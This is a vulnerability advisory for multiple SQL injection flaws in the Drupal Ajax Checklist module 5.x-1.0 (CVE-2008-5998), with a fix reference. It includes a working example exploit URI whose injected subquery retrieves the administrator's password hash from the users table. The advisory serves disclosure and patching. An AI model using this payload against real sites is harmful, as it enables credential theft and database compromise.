Drupal Ajax Checklist Module Multiple SQL Injection Vulnerabilities

Bugtraq ID:	31384
Class:	Input Validation Error
CVE:	CVE-2008-5998
Remote:	Yes
Local:	No
Published:	Sep 24 2008 12:00AM
Updated:	May 07 2015 05:23PM
Credit:	Justin C. Klein Keane
Vulnerable:	Drupal Ajax Checklist 5.x-1.0
Not Vulnerable:	Drupal Ajax Checklist 5.x-1.1

Drupal Ajax Checklist Module Multiple SQL Injection Vulnerabilities

The Ajax Checklist module for Drupal is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect versions prior to Ajax Checklist 5.x-1.1.

Drupal Ajax Checklist Module Multiple SQL Injection Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URI is available:
http://www.example.com/ajaxchecklist/save/1/2%27,2),(3,3,(select%20pass%20f
rom%20users%20where%20uid=1),3),(4,4,%274/3/4

Drupal Ajax Checklist Module Multiple SQL Injection Vulnerabilities

Solution:
A fix is available. Please see the references for more information.


Drupal Ajax Checklist 5.x-1.0

• Drupal ajax_checklist-5.x-1.1.tar.gz
  http://ftp.drupal.org/files/projects/ajax_checklist-5.x-1.1.tar.gz

Drupal Ajax Checklist Module Multiple SQL Injection Vulnerabilities

References:

• Drupal Homepage (Drupal)
  
• Drupal Ajax Checklist Module SQL Injection Vulnerability ("Justin C. Klein Keane" )
  
• SA-2008-057 - Ajax Checklist - Multiple vulnerabilities (Drupal)